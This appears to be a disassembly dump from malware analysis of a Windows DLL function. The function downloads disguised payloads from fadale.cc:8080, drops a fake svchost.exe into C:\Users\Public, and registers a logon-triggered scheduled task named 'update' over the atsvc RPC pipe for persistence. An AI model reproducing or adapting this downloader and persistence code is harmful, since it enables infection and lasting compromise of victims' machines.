Function at 0x180001090
Capabilities:
Create directory
Download url
Receive data

Disassembly:
push rbx
push rsi
push rdi
mov eax, 0x2090
call fcn.1800111a0
sub rsp, rax
lea rcx, str.C:UsersPublicProgram_Files__x86_
call fcn.180004d58
xor esi, esi
lea r8, str.C:UsersPublicProgram_Files__x86__svchost.exe
xor r9d, r9d
mov qword [rsp + 0x20], rsi
lea rdx, str.http:__fadale.cc:8080_A.jpg
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x20], rsi
lea r8, str.C:UsersPublicProgram_Files__x86_config.ini
xor ecx, ecx
lea rdx, str.http:__fadale.cc:8080_B.jpg
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x20], rsi
lea r8, str.C:UsersPublicProgram_Files__x86_xlbrowser.dll
xor ecx, ecx
lea rdx, str.http:__fadale.cc:8080_C.jpg
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x20], rsi
lea r8, str.C:UsersPublic_test.txt
xor ecx, ecx
lea rdx, str.http:__fadale.cc:8080_D.jpg
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rax, [rsp + 0x20b8]
mov qword [rsp + 0x20b0], rsi
xorps xmm0, xmm0
mov qword [rsp + 0x28], rax
lea r9, str.pipe_atsvc
mov qword [rsp + 0x20], rsi
xor r8d, r8d
lea rdx, str.ncacn_np
xor ecx, ecx
movups xmmword [rsp + 0x70], xmm0
call qword [sym.imp.RPCRT4.dll_RpcStringBindingComposeW]
test eax, eax
je 0x18000116a
mov ebx, esi
jmp 0x1800011d6
mov rcx, qword [rsp + 0x20b8]
lea rdx, [rsp + 0x20b0]
call qword [sym.imp.RPCRT4.dll_RpcBindingFromStringBindingW]
mov rcx, qword [rsp + 0x20b0]
lea rax, [rsp + 0x70]
xor edx, edx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x70], 1
mov dword [rsp + 0x7c], 3
lea r9d, [rdx + 0xa]
mov dword [rsp + 0x78], esi
lea r8d, [rdx + 6]
mov qword [rsp + 0x20], rsi
call qword [sym.imp.RPCRT4.dll_RpcBindingSetAuthInfoExA]
lea rcx, [rsp + 0x20b8]
call qword [sym.imp.RPCRT4.dll_RpcStringFreeW]
mov rbx, qword [rsp + 0x20b0]
lea r8, str.__xml_version_1.0__encoding_UTF_16____Task_version_1.2__xmlns_http:__schemas.microsoft.com_windows_2004_02_mit_task_____RegistrationInfo______Date_2024_04_19T23:21:37.0778561__Date______Author_admin__Author_____RegistrationInfo____Triggers______LogonTrigger_id_Trigger1_________Enabled_true__Enabled_______LogonTrigger_____Triggers____Principals______Principal_id_Author_________GroupId_S_1_1_0__GroupId________RunLevel_LeastPrivilege__RunLevel_______Principal_____Principals____Settings______MultipleInstancesPolicy_IgnoreNew__MultipleInstancesPolicy______DisallowStartIfOnBatteries_true__DisallowStartIfOnBatteries______StopIfGoingOnBatteries_true__StopIfGoingOnBatteries______AllowHardTerminate_true__AllowHardTerminate______StartWhenAvailable_true__StartWhenAvailable______RunOnlyIfNetworkAvailable_false__RunOnlyIfNetworkAvailable______IdleSettings________StopOnIdleEnd_true__StopOnIdleEnd________RestartOnIdle_false__RestartOnIdle_______IdleSettings______AllowStartOnDemand_true__AllowStartOnDemand______Enabled_true__Enabled______Hidden_false__Hidden______RunOnlyIfIdle_false__RunOnlyIfIdle______WakeToRun_false__WakeToRun______ExecutionTimeLimit_P3D__ExecutionTimeLimit______Priority_7__Priority_____Settings____Actions_Context_Author_______Exec________Command__C:UsersPublicProgram_Files__x86__svchost.exe___Command________WorkingDirectory_C:UsersPublicProgram_Files__x86___WorkingDirectory_______Exec_____Actions___Task_
mov qword [rsp + 0x20c8], rsi
mov edx, 0x1000
mov qword [rsp + 0x20c0], rsi
lea rcx, [rsp + 0x90]
call fcn.180001010
lea rax, [rsp + 0x20c0]
xor r8d, r8d
mov qword [rsp + 0x60], rax
lea rdi, str.update
lea rax, [rsp + 0x20c8]
mov r9, rbx
mov qword [rsp + 0x58], rax
lea rcx, [0x18001b7e0]
mov qword [rsp + 0x50], rsi
lea rax, [rsp + 0x90]
mov dword [rsp + 0x48], esi
lea edx, [r8 + 1]
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], 2
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.RPCRT4.dll_NdrClientCall3]
mov dword [0x180021c00], eax
xor r8d, r8d
mov r9, rbx
lea rcx, [0x18001b7e0]
lea rax, [rsp + 0x80]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rsi
lea edx, [r8 + 0xc]
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x38], esi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.RPCRT4.dll_NdrClientCall3]
add rsp, 0x2090
pop rdi
pop rsi
pop rbx
ret